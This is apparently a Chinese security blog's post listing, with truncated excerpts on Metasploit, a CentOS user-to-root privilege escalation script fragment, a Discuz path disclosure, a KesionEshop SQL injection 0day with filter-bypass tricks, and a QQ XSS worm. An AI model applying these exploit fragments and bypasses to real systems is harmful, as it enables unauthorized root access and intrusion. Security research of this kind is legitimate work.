-
韩剧《幽灵》中的各种安全辅助神器盘点
入侵类:1.MetasploitMetasploit 是一款漏洞扫描和攻击研究工具,可用于极大地加强企业网络安全.通过使用 Metasploit,组织可以找到以前没有发现的安全弱点并开始解决它们.官网:http://www.metasplo...
-
Centos普通用户提权至ROOT
普通用户创建脚本，内容如下： #!/bin/shunset LD_AUDITrm -r -f /tmp/exploitmkdir /tmp/exploitln /bin/ping /tmp/exploit/targetexec 3<...
-
Discuz X2路径泄露
缺少exit(‘Access Denied’);直接浏览该程序直接报错 BTW 一共发现了7个XSS 包含储存式跟反射式.等之后整完整點再发出来檔案路徑:/source/include/misc/misc_rankl...
-
KesionEshop 注入 0day
送上0day一枚下面官网测试/shop/shoppingcart.asp?id=1防注入蛋疼的很 直接用%09绕过select 需要用sel+ect绕...
-
当XSS蠕虫与QQ系统消息推送双剑合璧之后
QQ某处页面存在缺陷，导致我们可以恶意推送QQ系统消息，但是单纯的推送消息并不能太实质性的危害！但是，如果这个“系统消息”的链接能够被我们修改为我们自定义的页面的话，那就危险了！在自定义的页面内，结合一个FLASH...
